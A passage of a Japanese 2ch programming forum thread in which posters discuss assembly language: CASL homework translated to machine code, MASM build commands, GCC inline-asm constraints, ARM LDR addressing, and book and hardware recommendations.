2005/12/21(水) 18:29:18駄目でした。具体的にどうすればよいのか教えていただけないでしょうか。
0198デフォルトの名無しさん
2005/12/21(水) 18:41:45dos=high, umb
device=%SystemRoot%\system32\himem.sys
devicehigh=%SystemRoot%\system32\ntfont.sys
devicehigh=%SystemRoot%\system32\font_win.sys
devicehigh=%SystemRoot%\system32\$disp.sys /hs=%HardwareScroll%
devicehigh=%SystemRoot%\system32\disp_win.sys
devicehigh=%SystemRoot%\system32\kkcfunc.sys
files=40
device=%SystemRoot%\system32\MSIMEK.SYS /A1
devicehigh=%SystemRoot%\system32\MSIMEI.SYS /D*%SystemRoot%\system32\MSIMER.DIC
/D%SystemRoot%\system32\MSIME.DIC /C1 /N /A1
0199170
2005/12/21(水) 22:57:58おお!ようやく解決しました。みなさんありがとう!!
0200デフォルトの名無しさん
2005/12/22(木) 00:12:470201デフォルトの名無しさん
2005/12/22(木) 01:13:570202デフォルトの名無しさん
2005/12/22(木) 01:52:440203デフォルトの名無しさん
2005/12/22(木) 12:08:370204デフォルトの名無しさん
2005/12/22(木) 16:13:44つっこむとこはそこかYO!
0205デフォルトの名無しさん
2005/12/22(木) 16:15:222進数 1と0
1進数 0
つまり
0(10) = 0(1)
1(10) = 00(1)
2(10) = 000(1)
3(10) = 0000(1)
4(10) = 00000(1)
ということ?
0206愛也
2005/12/22(木) 16:26:38パソコン関係の初心者なのでお尋ねさせていただきたいのですが・・
下の問題が分かる方はいらっしゃいますでしょうか??
問題。次のプログラムを機械語に翻訳しなさい。なおプログラムの先頭番地を#0100とし、
メモリの番地も示しなさい。また、このプログラムを実行すると答えはいくつになるか。
PROG START
LD GR1,DATA1
LEA GR2,1
ADD GR1,DATA1,GR2
ST GR1,ANS
EXIT
DATA1 DC 25
DC −19
ANS DS 1
END
頭脳明晰な方、どうか教えてくださいませ(−_−;)
0207デフォルトの名無しさん
2005/12/22(木) 17:32:59CPUはなに?
0208デフォルトの名無しさん
2005/12/22(木) 17:36:190209デフォルトの名無しさん
2005/12/22(木) 17:44:20ここの「アセンブラ言語の仕様」の中に
ニモニックとオペコードの変換表があります
0210デフォルトの名無しさん
2005/12/22(木) 17:49:40CASLは隔離スレがあるからそっちで
ttp://pc8.2ch.net/test/read.cgi/tech/1033876116/
0211愛也
2005/12/22(木) 19:37:33CPUとか分らないです・・・・すみません(><)
とにかく問題文にあったのは206が全てです・・・・。
0212デフォルトの名無しさん
2005/12/22(木) 19:58:56本当に問題文が>>206だけなら答えは
「COMETの機械語は未定義であり、処理系に依存するので一意的な答えはない」
だ。
0213デフォルトの名無しさん
2005/12/22(木) 20:02:33「また、このプログラムを実行すると…」
の部分は自分で実行して確かめろ。
0214愛也
2005/12/22(木) 20:29:50よろしくお願い致します(><。)
0215デフォルトの名無しさん
2005/12/22(木) 21:07:42↑の>>212さんが言うように、COMETの機械語は未定義だから解答の
しようが無いです。
もし、その課題が宿題ならば友達に電話して、課題の意味を聞いたほうが
話は早いと思う。
CASL2のシミュレータがVectorに転がっているからDLして実行して
みれば結果が解るよ。
私もシミュレータを試したけど、エラーだったから、マクロでも使用して
いるのかな。
0216デフォルトの名無しさん
2005/12/22(木) 21:17:34******** 糸 冬 了 ********
0217デフォルトの名無しさん
2005/12/22(木) 21:31:46問題文にCPUなどの指定がなかったら
答えは「特定できないのでこたえようがない」で○くれると思う。
答えはいくつになるかくらいは判るだろ。
判らなかったら御山に帰ってください。
0218愛也
2005/12/22(木) 21:38:30また機械語の16進表現を機械語の右列に。」とありますが。。。
これでも解答のしようがないですかね・・。
このような知識に無知なので215さんはじめとして皆様に迷惑をかけまして申し訳ありません(><。)
0219愛也
2005/12/22(木) 22:02:32「アドレス#4001から格納すると仮定し、メモリ番地を左側に、また機械語の16進表現を機械語の右側に示せ。」
「ソースプログラム」
EX1 START
LD GR1,DATA1
ADD GR1,DATA2
ST GR1,DATA3
EXIT
DATA1 DC #0123
DATA2 DC #4567
DATA3 DS 1
END
「機械語プログラム」
メモリ番地 機械語 16進表現
#4001 0001 0001 0001 0000 (#1110)
#4002 0100 0000 0000 1001 (#4009)
#4003 0011 0001 0001 0000 (#3110)
#4004 0100 0000 0000 1010 (#400A)
#4005 0001 0010 0001 0000 (#1210)
#4006 0100 0000 0000 1011 (#400B)
#4007 1010 0011 0000 0000 (#A300)
#4008 0000 0000 0000 0000 (#0000)
#4009 0000 0001 0010 0011 (#0123)
#400A 0100 0101 0110 0111 (#4567)
#400B xxxx xxxx xxxx xxxx (#xxxx)
とありました。私にはサッパリなんですが・・・・本当に申し訳ありません。
0220デフォルトの名無しさん
2005/12/22(木) 22:06:30以下のような機械語とニモニック(アセンブラ)の対応表が資料として存在して
いると思うのだが。
下のは私が勝手に作ったので意味は無い。
機械語::ニーモニック
00 NOP (注)no operation
01 LD GR1,メモリ(注)レジスタGR1にロード
02 LD GR2,メモリ(注)
:
40 ST GR1,メモリ(注)レジスタGR1をストア
:
B0 LEA GR1,数値(注)数値をGR1にセット
:
:
FF EXIT(注)プログラム終了
0221愛也
2005/12/22(木) 22:13:24レスありがとうございます(^^)
0222愛也
2005/12/22(木) 22:20:19命令記号 OPCDの2進表現 OPCDの16進表現 オペランドの形
LD 0001 0001 #11 GR,adr[,XR]
LEA 0010 0001 #21 GR,adr[,XR]
ADD 0011 0001 #31 GR,adr[,XR]
ST 0001 0010 #12 GR,adr[,XR]
↑とありましたm(_ _)m 申し訳ありません。
命令記号
0223愛也
2005/12/22(木) 22:22:05LD 0001 0001 #11 GR,adr[,XR]
LEA 0010 0001 #21 GR,adr[,XR]
ADD 0011 0001 #31 GR,adr[,XR]
ST 0001 0010 #12 GR,adr[,XR]
↑とありましたm(_ _)m 申し訳ありません。
0224デフォルトの名無しさん
2005/12/22(木) 22:22:460225愛也
2005/12/22(木) 22:29:31↑を参考にして↓を解きたいんですけど分からないんですm(_ _)m
問題。次のプログラムを機械語に翻訳しなさい。なおプログラムの先頭番地を#0100とし、
メモリの番地も示しなさい。また、このプログラムを実行すると答えはいくつになるか。
PROG START
LD GR1,DATA1
LEA GR2,1
ADD GR1,DATA1,GR2
ST GR1,ANS
EXIT
DATA1 DC 25
DC −19
ANS DS 1
END
0226デフォルトの名無しさん
2005/12/22(木) 22:55:21ADD GR1,DATA1,GR2
この命令を機械語にすると
#3112, #0109で良いのかな。
"[,XR]"が付加されているときといないときでの機械語の
説明が無いけど。レジスタの対応表も無いし。
レジスタ=GR1=#1
レジスタ=GR2=#2
で良いのかな。
0227デフォルトの名無しさん
2005/12/22(木) 23:13:30おまけに情報を小出しにする、では教える側が何を言っても無駄だろう。
授業の宿題ならもう1年最初からやり直せ。
0228愛也
2005/12/22(木) 23:19:00レス誠にありがとうございますm(_ _)m
レジスタ=GR1=#1
レジスタ=GR2=#2
レジスタ=GR3=#3
:
:
だと思います・・・考えて下さりありがとうございます。m(_ _)m
0229デフォルトの名無しさん
2005/12/22(木) 23:25:40取敢えず作成したけど、資料が少ないので間違っている可能性が
大きいけど、参考ということで勘弁してくれ。
注意点として、負数について記述が無かったので2の補数表記を
使用している。
1の補数表記だったら、「#010A FFFD」の「FFFD」が違ってくる。
#0100 1110 0109 PROG LD GR1,DATA1
#0102 2120 0001 LEA GR2,1
#0104 3112 0109 ADD GR1,DATA1,GR2
#0106 1210 010B ST GR1,ANS
#0108 0000 EXIT
#0109 0019 DATA1 DC 25
#010A FFED DC -19
#010B 0006 ANS DS 6
END
0230デフォルトの名無しさん
2005/12/22(木) 23:29:45>1の補数表記だったら、「#010A FFFD」の「FFFD」が違ってくる。
あ間違いなので、下のように訂正します。
1の補数表記だったら、「#010A FFED」の「FFED」が違ってくる。
0231愛也
2005/12/22(木) 23:37:56誠にありがとうございます。本当に感謝をいたします。
229さんのお答えになって下さった解答を参考にさせていただき勉強をさせていただきます。
本当に本当にありがとうございました。
すぐにお答えになられるなんて、知識豊富でとても羨ましく思います。私が無知なだけなんですが・・・。
本当にありがとうございました。
0232デフォルトの名無しさん
2005/12/23(金) 01:30:29正直、知識の豊富さではなく知性の問題だ。
頭と言うものはキャベツではないのだから使わないと回らないのだよ。
0233デフォルトの名無しさん
2005/12/23(金) 05:46:53翻訳つっても表引きするだけだし.
教科書の最初の方に「アセンブリとは〜」って文が書いてないか?
そこんとこ熟読すりゃ自ずからわかると思うが.
0234デフォルトの名無しさん
2005/12/23(金) 09:45:460235デフォルトの名無しさん
2005/12/23(金) 17:06:32アッサム・ティーは無かったっけ?
0236デフォルトの名無しさん
2005/12/23(金) 17:47:410237デフォルトの名無しさん
2005/12/23(金) 18:14:24yes!
あ!せんぶり!
0238デフォルトの名無しさん
2005/12/24(土) 22:00:50ttp://image.blog.livedoor.jp/kashmir951a11spanjimihen_4/imgs/f/d/fdc7ab50.jpg
ttp://image.blog.livedoor.jp/kashmir951a11spanjimihen_4/imgs/4/a/4a9b5aea.jpg
0239デフォルトの名無しさん
2005/12/24(土) 22:08:57君のマシンがPC-90x1系なら○
それ以外なら×
0240デフォルトの名無しさん
2005/12/24(土) 22:08:580241デフォルトの名無しさん
2005/12/24(土) 22:09:40それって、DOS時代の黒テキスト画面に緑のマウスカーソルが乗る奴じゃないのか?
そもそもドライバが互換性ない希ガス。
0243238
2005/12/24(土) 22:29:03色々ググッテ見たけどわかんないす。
0244デフォルトの名無しさん
2005/12/24(土) 22:36:33Windows上のコマンドプロンプトで扱いたいならWin32APIだし
昔のDOS上の事ならAT互換機のDOS/VとNEC PC98xx系では全く違うし。
まあ後者だったら諦めろ。
0245デフォルトの名無しさん
2005/12/24(土) 23:10:570246デフォルトの名無しさん
2005/12/24(土) 23:27:170247デフォルトの名無しさん
2005/12/25(日) 01:09:23っつーかそういう話題ならスレ違いだろ
0248デフォルトの名無しさん
2005/12/25(日) 03:17:46ターゲット環境くらい晒せ。
16bitDOS環境でいいなら、MS-DOSの
マウスドライバインターフェースを使えばいい(INT33H)。
ドライバは手元のWin2kのDOS窓では標準でロードされてる。
(mem /Cで確認)
余談。
INT51Hは98ではユーザー領域なので、一般的な使い方は存在しない。
多分その本独自のライブラリ呼び出しとおもわれ。
つか書名くらい晒せ。
0249デフォルトの名無しさん
2005/12/25(日) 03:26:25「16bitDOS環境」→「PC/AT互換機の16bitDOS環境」ね。
PC-98のマウス関連は>>246の通り事情がややこしい。
あとINT33Hの使い方はOADGのDOS/Vテクニカルリファレンス参照。
http://www.oadg.or.jp/techref/download.cgi
0250デフォルトの名無しさん
2005/12/25(日) 06:35:150251デフォルトの名無しさん
2005/12/25(日) 06:46:550252デフォルトの名無しさん
2005/12/25(日) 06:52:480253デフォルトの名無しさん
2005/12/25(日) 10:53:18アセンブラ画像処理プログラミング SIMDによる処理の高速化
ttp://www.cutt.co.jp/book/4-87783-139-8.html
ttp://pc.bookmall.co.jp/search/info.php?Code=0000001195873
著者 北山洋幸、中田潤也 著
出版社 カットシステム
ISBN 4-87783-139-8
発行日 2005年12月26日
価格 \8,190 (本体\7,800)
仕様 B5変型判664頁 単色刷
0254デフォルトの名無しさん
2005/12/25(日) 19:22:280255デフォルトの名無しさん
2005/12/25(日) 20:29:140256デフォルトの名無しさん
2005/12/26(月) 11:35:110257デフォルトの名無しさん
2005/12/26(月) 14:30:370258デフォルトの名無しさん
2005/12/26(月) 14:34:260259デフォルトの名無しさん
2005/12/26(月) 15:34:05人柱報告よろ
0260デフォルトの名無しさん
2005/12/28(水) 03:47:31本は紛失してしまいましたが。パスは 正式ドキュメントじゃないですー です。
http://www.uploda.org/file/uporg272204.zip.html
よければどぞー
0261デフォルトの名無しさん
2005/12/28(水) 04:00:460262デフォルトの名無しさん
2005/12/28(水) 05:53:200263デフォルトの名無しさん
2005/12/28(水) 05:58:120264デフォルトの名無しさん
2005/12/28(水) 06:00:440265デフォルトの名無しさん
2005/12/28(水) 06:05:510266デフォルトの名無しさん
2005/12/28(水) 11:44:100267デフォルトの名無しさん
2005/12/28(水) 16:47:36>>263
0268デフォルトの名無しさん
2005/12/28(水) 16:50:100269デフォルトの名無しさん
2005/12/28(水) 17:09:210270デフォルトの名無しさん
2005/12/28(水) 17:54:350271デフォルトの名無しさん
2005/12/29(木) 17:12:40ttp://www.cqpub.co.jp/interface/contents/2006/200602.htm
x86/PowerPC/ARM/SHのアセンブラを理解する
アセンブラ・プログラミングの基礎知識
0272デフォルトの名無しさん
2005/12/30(金) 00:56:33GJ
ページ数も多いし面白そうだな。
正月のひまつぶしになりそうだ。
0273257
2005/12/30(金) 13:42:54届いた。
まだ流し読んだだけなんだけど内容は至極普通かと。
このスレとか画像処理スレで回答に回ってるような人にはぬるい。
SIMDについては650ページ中170ページしか書かれてない。
はっきりいって前半部分は要らないんで、題名のとおり「SIMDによる処理の高速化」についてのみ書いて欲しかった。
とはいえ実際的なコードが結構載ってるので、初心者が入門書の後に読めば
アセンブラのコーディングの流れとか作法とかは分かるようになるかもしれないなぁ。
誤植は「ビットッマプ」ってのが何箇所かあった。
その他はまだ見つけてない。
以上であります。
本屋さんで内容をよく吟味してから買いましょう。
0274デフォルトの名無しさん
2005/12/30(金) 15:25:04知ってる内容だったら、教科書ってこと?
0275デフォルトの名無しさん
2005/12/30(金) 20:18:000276デフォルトの名無しさん
2005/12/30(金) 20:23:490277デフォルトの名無しさん
2005/12/30(金) 20:24:54なんといえばいいのやら
0278デフォルトの名無しさん
2005/12/30(金) 20:28:26はい、ただで使えるアセンブラ。実行環境付き。
http://www.jitec.jp/1_20casl2/casl2dl_001.html
0279デフォルトの名無しさん
2005/12/30(金) 21:07:010280238
2005/12/30(金) 21:44:28この本を参考に自分は、VisualC++.netをインストールするとVisualStudio.net専
用のコマンドプロンプトが作成されそこから使用できるml.exeとlink.exeを使って
います。しっかしインストールが無茶苦茶長く一晩懸かった。
他にもネット上を検索すればいくらでもフリーであるはずだよ。
0281デフォルトの名無しさん
2005/12/30(金) 22:07:440282デフォルトの名無しさん
2005/12/30(金) 22:08:410283238
2006/01/01(日) 18:43:01じゃあ、何がいいの?
0284デフォルトの名無しさん
2006/01/01(日) 20:06:390285デフォルトの名無しさん
2006/01/01(日) 20:18:17このスレってテンプレにIntelアーキテクチャマニュアルのリンクすらはってないのが笑える。
0286デフォルトの名無しさん
2006/01/01(日) 22:30:25とりあえず、アセンブリの教科書か、独習アセンブラあたりでどう?
285さんの言っているのは読んでいて当たり前かと思っています。
0287デフォルトの名無しさん
2006/01/02(月) 03:24:01タイトルが違うけど、これの事でしょうか?
http://www.amazon.co.jp/exec/obidos/ASIN/4871482456/
http://www.amazon.co.jp/exec/obidos/ASIN/4756102131/
0288デフォルトの名無しさん
2006/01/02(月) 07:06:48本当にありがとうございました。
0289デフォルトの名無しさん
2006/01/02(月) 11:32:12幼稚園でも2chするようになったのか
0290OS& ◆WRre/7Sh7Q
2006/01/02(月) 15:57:59(dtpはGDTのbaseアドレスとlimitを持つ構造体です。)
asm volatile("lgdt %0\n" : : "m" (dtp));
asm volatile("lgdt (%0)\n" : : "p" (&dtp));
上のように、"m"で実体を渡す場合と、オペランドを()で囲って"p"でアドレスを渡す
場合の挙動が同じです。
"p"については、どこのページにも書いていないのですが、
(monaのソースでは"p"を使ってます。)
これらの書き方はあってますでしょうか?
この辺が詳しく書いてあるサイト等がありましたら、ご教授ください。
0291デフォルトの名無しさん
2006/01/03(火) 04:23:50おまいな、アセンブラには構造体そのものを引き渡す方法は無いの!
どうやっても一度ポインタを渡すしかないだろが!
単なるint型とかの変数渡すなら、実体とかポインタで違いもあるけどな。
それはレジスタに直接突っ込める値だからだな。
0292デフォルトの名無しさん
2006/01/03(火) 06:02:37290は単純に p と m のそれぞれの正しい使い方を聞いてるだけだと思うのだけど。
詳しく、ってことは多分その他にも記法があるんじゃないかと気になったりしたのでは。
0293デフォルトの名無しさん
2006/01/03(火) 06:04:140294デフォルトの名無しさん
2006/01/03(火) 14:46:13x86系だけやってた俺には新鮮だったかな。
SIMDのことはほとんど載ってなかったけど。
0295デフォルトの名無しさん
2006/01/04(水) 18:54:43こういうリソーススクリプトつきのプログラムをビルドするにはどうやればいいのですか?
ml /c /coff /Cp tut10.asm
link /SUBSYSTEM:WINDOWS /LIBPATH:c:\masm32\lib tut10.obj
ではうまくいきません・・・
0296デフォルトの名無しさん
2006/01/04(水) 18:58:26別途リソースコンパイラを使ってリソースをコンパイルしろ。
0297295
2006/01/04(水) 19:34:43ml /c /coff /Cp tut10.asm
rc tut10.rc
link /subsystem:windows /libpath:c:\masm32\lib tut10.obj tut10.res
でできました。ありがとございました。
0298デフォルトの名無しさん
2006/01/06(金) 15:59:28x86アセンブラ入門
ttp://www.cqpub.co.jp/hanbai/books/MIF/MIFZ200601.htm
32ビットCPUのMASMの教科書を探してるんですが、この本って使えますか?
0299デフォルトの名無しさん
2006/01/06(金) 16:20:56MASMの教科書としては使えないと思うぞ。
MASMもGASも書いてあるせいでどうしても内容が薄くなってる。
教科書的なものが欲しいのなら独習アセンブラにしとけ。
0300デフォルトの名無しさん
2006/01/06(金) 17:49:08なるほど。
じゃあ、FPUやSSEの内容は充実してますか?
他にFPUやSIMDについて解説している本があれば
参考までに教えて欲しいです。
0301デフォルトの名無しさん
2006/01/06(金) 19:47:49FPUについては値段の分は載ってると思う。
SIMDが載ってる本っていったらこれと画像解析の奴ぐらいしかないかな?
図がたくさん載ってるけど、位置的に本文と離れてるんだよなぁ。
IntelのPDFがイミフで読めなかった人には勧めておこう。
0302・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/07(土) 08:23:46http://www.amazon.co.jp/exec/obidos/ASIN/4877831398/mixi02-22/249-1593716-7637111
2006年1月初版第1刷発行になってるがなぜか昨年末にゲット
0303・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/07(土) 09:34:250304デフォルトの名無しさん
2006/01/07(土) 10:59:14仕様書がなかなか読みやすく綺麗に出来ている気がしたけど
0305・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/07(土) 11:03:34了解した。
0306デフォルトの名無しさん
2006/01/07(土) 15:40:30むしろ、PowerPC系のアセンブラで遊びたい俺の場合、
PowerPC boxをどこでgetしたらいい?
0307デフォルトの名無しさん
2006/01/07(土) 15:43:28Appleとか
0308デフォルトの名無しさん
2006/01/07(土) 15:46:51http://www.apple.com/jp/macmini/
0309デフォルトの名無しさん
2006/01/07(土) 15:54:400310デフォルトの名無しさん
2006/01/07(土) 16:17:12Macでは無いけど玄人志向の玄箱(くろばこ)はどうですか。
ttp://pc.watch.impress.co.jp/docs/2005/1216/kuro.htm
0311デフォルトの名無しさん
2006/01/07(土) 16:25:16つい立ち寄りたくなる
0312デフォルトの名無しさん
2006/01/07(土) 16:48:320313306
2006/01/07(土) 16:55:42thanx
>>308
色々、見てたんですけど、
macminiが結構遊べそうで弄りがいがあるように見えます。
コンパイルに時間がかかりそうに無いようだし..(クロスコンパイルすればいいのだけど..)
どうでしょうか?
0314デフォルトの名無しさん
2006/01/07(土) 16:58:11Power Mac G5 Quad
0316デフォルトの名無しさん
2006/01/07(土) 17:05:590317デフォルトの名無しさん
2006/01/07(土) 18:09:30購入するつもりなら、念のためあと2日待った方が良いかもしれない。
もしかしたら9日に新製品発表があるかもしれないから。
0318デフォルトの名無しさん
2006/01/07(土) 18:22:01新製品=Intel macminiだったりしないか?
0319デフォルトの名無しさん
2006/01/07(土) 18:26:32欲しいときが買い時とも言うし、今すぐポチッとなしちゃった方が幸せかもしれん。
0320デフォルトの名無しさん
2006/01/07(土) 18:53:52今後一切、Appleはppcマシン出さないって事?
0321・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/07(土) 21:45:51俺もMac-miniかな。
PS3-linuxに備えてPPC知りたくて買ったんだけど
>>316
普通にPCのディスプレイ使えるよ。
>>318
らしいね。Yonahという噂があるが、Core SoloかDuoかで評価割れそう。
Duoを安く買い叩いてるとしたら、一生Appleについていきます。
てか、Intel版Macに載るRosettaってPPCエミュレータじゃね?
0322300
2006/01/07(土) 22:04:56遅レスですが�dです。
高級言語の職業プログラマですが最近アセンブラの世界にハマりつつあります。
コンパイラよりも最適化したインラインアセンブラが書けたら良いなーとか妄想しとります。
チラシの裏スマソ
0323デフォルトの名無しさん
2006/01/07(土) 22:52:08LRD r0, 0x20000000
とか表示されるのですが命令が16bit固定長なのに32bitの
アドレスをどうやって指定しているのかがわかりません。
デバッガがわかりやすくしてるだけですか?
LRD r0, [r1]
とかであれば理解できるのですが・・・。
でもこれだとどうやってr1に0x20000000を入れるのかわからん。
0324デフォルトの名無しさん
2006/01/07(土) 23:05:46Cellブロードバンドエンジン詳細仕様翻訳作業スレ
http://pc8.2ch.net/test/read.cgi/tech/1124990412/
0325デフォルトの名無しさん
2006/01/08(日) 01:18:31気が向いたのでARM ARM斜め読みしてみたが、よくわかんね。
多分疑似命令(命令組み合わせ)かなんかじゃないかと思うから
ニモニックより機械語見たほうがいいんじゃね?
0326デフォルトの名無しさん
2006/01/08(日) 02:43:210327デフォルトの名無しさん
2006/01/08(日) 05:19:36LRDとは?
あのさ、表示されてるものは正しく書き写してくれないと。
コピペ出来るようならそっちで頼むよ。
あと、何のデバッガ使ってるの?
0328デフォルトの名無しさん
2006/01/08(日) 16:37:16LRDくらい脳内でLDRに補完できるのでは?
コピペ出来るようならした方が良いに決まっているが。
ARMでは、イミーディエイト(即値)はアセンブラがメモリに割り付けると
思うのだが実際はどうなっているのかな。
たぶん、>>325さんが言っている感じだろうけど。
即値のロードには、R11とか決まったレジスタを使用するのだと思う。
0329デフォルトの名無しさん
2006/01/08(日) 18:37:28もちろん補完は出来る。
が、写し間違いがある時点で、他の情報を写し損ねている可能性を疑ってるのよ。
thumbステートだとレジスタ相対アドレスで指定するしか無いので
その辺の情報が表示されてるかもしれないし。
Insightなら 0x2003d00 <main+12>: ldr r2, [pc, #248] (0x2003dfc <$d>)
のように表示される。ひょっとしたら>>323のデバッガは[pc, #248]の部分を
すっ飛ばしてるのかもしれない。それでデバッガも聞いた。
0331323
2006/01/09(月) 03:15:03機械語を見てみることにします。
>>326
間接アドレッシングを直接アドレッシングに見せているのですかね?
でも間接アドレッシングが見れるところもあるしなぁ・・・。
>>328
会社で気になっていたことを家に帰って書いたので間違えました。
デバッガはTrace32です。
>>329
>ARMでは、イミーディエイト(即値)はアセンブラがメモリに割り付けると
>思うのだが実際はどうなっているのかな。
>即値のロードには、R11とか決まったレジスタを使用するのだと思う。
良く覚えてないので今度から気をつけてみてみます。
0332デフォルトの名無しさん
2006/01/09(月) 10:16:54>LRDくらい脳内でLDRに補完できるのでは?
プログラマとは思えない発言だな。
しかもただでさえデバッグの大変なアセンブラプログラマとしては考えられん。
0333デフォルトの名無しさん
2006/01/09(月) 10:52:27全文アセンブラの超軽快2chブラウザ作ってくれ
0334デフォルトの名無しさん
2006/01/09(月) 11:06:59アセンブラにしなくても十分軽快だが…
通信速度が変わるわけじゃなし。
0335デフォルトの名無しさん
2006/01/09(月) 11:13:470336デフォルトの名無しさん
2006/01/09(月) 12:25:03コストを引き上げる方がプログラマとしてどうかと思うが。
0337デフォルトの名無しさん
2006/01/09(月) 13:22:27釣堀へ帰れよ、フィッシャー。
0338デフォルトの名無しさん
2006/01/09(月) 13:29:461 トーシロが中途半端な知識で自慢たっぷりに書いた
2 釣り
0339デフォルトの名無しさん
2006/01/09(月) 14:03:130340デフォルトの名無しさん
2006/01/09(月) 14:50:300341デフォルトの名無しさん
2006/01/09(月) 16:07:070342333
2006/01/09(月) 18:14:18でした
プログラムなんぞBASICも分からんのだから
アセンブラみたいな暗号分かるわけない
0343デフォルトの名無しさん
2006/01/09(月) 19:13:02つまり喪前様の存在自体が板違いだった、と。
0344デフォルトの名無しさん
2006/01/09(月) 20:04:180345デフォルトの名無しさん
2006/01/09(月) 20:23:340346デフォルトの名無しさん
2006/01/09(月) 20:38:400347デフォルトの名無しさん
2006/01/09(月) 20:40:450348デフォルトの名無しさん
2006/01/09(月) 20:40:520349デフォルトの名無しさん
2006/01/09(月) 21:12:06プログラマの一部には、本当に比喩とか通じない人いるよね。
0350デフォルトの名無しさん
2006/01/09(月) 21:20:490351デフォルトの名無しさん
2006/01/09(月) 21:26:150352デフォルトの名無しさん
2006/01/09(月) 23:01:26ノシ 8
0353デフォルトの名無しさん
2006/01/09(月) 23:14:420354328だが
2006/01/09(月) 23:38:33アセンブラでプログラムなんて何年も作って無いしー
0355デフォルトの名無しさん
2006/01/10(火) 06:44:01盲人のデジタルデバイド解消ツールということでね。
(もうあるのかな?)
0356デフォルトの名無しさん
2006/01/10(火) 06:56:020357・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/10(火) 07:02:08ただ、これらちっとも軽くは無いが。
0358デフォルトの名無しさん
2006/01/10(火) 07:38:030359デフォルトの名無しさん
2006/01/10(火) 09:30:42バグだらけなのが玉に瑕
0360デフォルトの名無しさん
2006/01/10(火) 10:00:220361デフォルトの名無しさん
2006/01/10(火) 11:11:44突然「エラーが起きたので終了します。」みたいなダイアログが出て
はいをクリックしたら「ポンポンポンポンポンンポン……」みたいな音がなりまくったり
エラーダイアログが連続で出てきたりする
他にも、板一覧から板を選択した時に「〜〜を超えています(-1)」みたいなエラーが
しょっちゅう出る
0362デフォルトの名無しさん
2006/01/10(火) 12:12:530363デフォルトの名無しさん
2006/01/10(火) 12:21:08それらのエディタについて、何も知らないなら無理に書くことありませんよ。
emacsは兎も角、vi上で動くとか言っちゃう辺り、無知を晒してますから。
0364デフォルトの名無しさん
2006/01/10(火) 12:32:30再現手順示せとか言うつもりじゃないだろうな?
別にデバッグしてるわけでもねぇし、
現象としては具体的だと思うが。
とか書くと、「プログラマとは思えない発言だな」って言われるんだろうけど。
0365デフォルトの名無しさん
2006/01/10(火) 12:48:45具体的とか手順とかソースとかやたら振り回すやつは
完全な情報がないとコミュニケーションできない、仕事
のできないやつだ。
0366デフォルトの名無しさん
2006/01/10(火) 12:51:230367デフォルトの名無しさん
2006/01/10(火) 12:52:050368デフォルトの名無しさん
2006/01/10(火) 12:58:140369デフォルトの名無しさん
2006/01/10(火) 13:03:37見つけて報告してくれるだけでありがたいよ
0370デフォルトの名無しさん
2006/01/10(火) 13:18:380371デフォルトの名無しさん
2006/01/10(火) 14:02:34Chaliceの存在は放置ですかそうですか。
0372デフォルトの名無しさん
2006/01/10(火) 14:03:590373デフォルトの名無しさん
2006/01/10(火) 14:20:57vimのどこがviなのかと。>357はvi系とせず単にViと書いているわけですが、そこからvimを連想しろとでも?
そもそも>355を鑑みれば、盲人用のEmacs/Viなんて無茶なものを想定する必要があるわけですが。
要はまともなネタがないからこういうレスが続くわけですな。
ということで、
>>333-373
スレ違いだ、ボケ。
0374デフォルトの名無しさん
2006/01/10(火) 14:23:080375デフォルトの名無しさん
2006/01/10(火) 14:28:13下から二行目の最後の文字に注目。
0376デフォルトの名無しさん
2006/01/10(火) 16:11:52373ウザイ
0377デフォルトの名無しさん
2006/01/10(火) 18:29:28遅レスだけど、ARMではオペランドをshift/rotateできるので、
ビットがたっている部分がオペランドのビット数以内ならOK。
ARMって何か変態っぽくない?
0378329
2006/01/10(火) 19:18:49でもそれならそれで
MOV r1, #32
LDR r0, r1 LSL #24
と書いてあって欲しいなーとおも。
なんで即値が入ってるんだろうな?
trace32のデモを落としてこようかと思ったけど登録が必要なのでやめた。
0379デフォルトの名無しさん
2006/01/10(火) 19:57:420380デフォルトの名無しさん
2006/01/10(火) 22:33:03Thumb命令のLDRにはシフト項ないよ。
個人的には条件実行ビットの方が変態っぽいと思う。
ARMの命令セットみてると、なんかやたら手動最適化したくなる。
0381デフォルトの名無しさん
2006/01/10(火) 22:33:39RISCならそんなもんじゃないかい。
まあ変わっているという意見は結構聞きますな。
0382・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/10(火) 22:58:59CQ出版社のASM本ってGNUスタイル(大嫌い><)を好んで使ってる印象があるけどどーなの
本屋回ったけどPowerPCはあんまり文献ないみたいで。C言語使えってことか。
ロード・ストアの制約とか、添え字アクセスの最適化とか、あのへんの最適化テクニックが知りたい。
どうせ何やっても32bit固定長だから命令エンコード仕様丁寧に見ていくのが近道?
0383デフォルトの名無しさん
2006/01/10(火) 23:35:20無知をさらしたのも事実
0384デフォルトの名無しさん
2006/01/10(火) 23:45:44無知が悪いとは思わないけど。
0385・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 00:04:49WindowsでImprovedじゃないVIクローンなんてクソマイナーなのしかないのも事実だし。
SetWindowText/GetWindowTextでテキスト入出力できるじゃんって考えるの間違い?
0386デフォルトの名無しさん
2006/01/11(水) 00:08:01トレーニングキット付属の開発環境としてgcc+binutilsを提供してるところが多いから
実用面を重視すれば当然では。漏れもgas嫌いだけどやむなし。
純正開発環境揃えられるところなら正規のトレーニング受けさせるだろうし。
0387・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 00:10:53GAS→NASMコンバータ試したけどSSEまで対応してなくて結局手作業で組んだり
COFFを逆アセンブルしてコード起こしたり。GNUの変態仕様うんざりです。
# http://pc8.2ch.net/test/read.cgi/tech/1131590396/425
# こっちの恥ずかしい人と同一人物の気がしたのは俺だけかな。
0388デフォルトの名無しさん
2006/01/11(水) 00:40:07自意識過剰って醜いね
0389デフォルトの名無しさん
2006/01/11(水) 00:41:140390デフォルトの名無しさん
2006/01/11(水) 00:44:080391・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 00:45:490392デフォルトの名無しさん
2006/01/11(水) 00:49:500393・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 00:52:16突っ込みどころはいろいろあるのに、俺のVim→Viのミスをネチネチ叩いてみる人がいたり。
同じ日の同じ時間帯に。偶然じゃないと思うけどね。
とりあえずSSE4について。
